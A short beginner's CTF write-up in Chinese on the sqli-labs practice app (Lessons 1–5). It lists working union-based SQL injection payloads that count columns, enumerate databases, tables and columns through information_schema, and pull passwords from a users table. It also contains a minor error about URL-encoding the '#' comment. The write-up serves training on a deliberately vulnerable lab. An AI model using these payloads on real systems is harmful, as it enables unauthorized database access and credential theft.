渣渣学CTF之 sqli-lab
关于sql注入中的普通注入(对应的sqli-lab中的less 1-5)
-
1.注入类型:
数字型(直接输入数字便可以注入)
字符型(在less1,less3,less4中,存在形式一般为1’ 1" 1’) 1"))这得看判断得到的结果反馈是什么,从而猜测他的注入形式。 -
2.注入语句:
对数据库中存在的字段进行排序,注意此处为1’ 让其语句通过
1' order by 3 --+
此处为-1让其语句报错,从而执行后面的union select操作,其中database()是为了爆出他的数据库的名字
-1' union select 1,2,database() --+
此处是为了爆出他所有的数据库的名字,利用的是mysql中的schema这个库,这个库中保存mysql中的大部分信息
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- +
此处是为了爆出他数据库下的所有表的名字
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+(或者是找到的数据库的名字,例如'security')
此处尝试着爆出他的user表的信息
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
此处将他的user表中的password元素提取出来
-1' union select 1,2,password from users --+
其中需要注意的有:
- 注释的方式可以多种多样,比如说# 但是在url编码应该为%27%20这样才能实现。
- 参考大佬文章:https://blog.****.net/Fly_hps/article/details/80234840
第一次写,有哪些不对的地方请大家批评指正,祝愿所有萌新入坑愉快!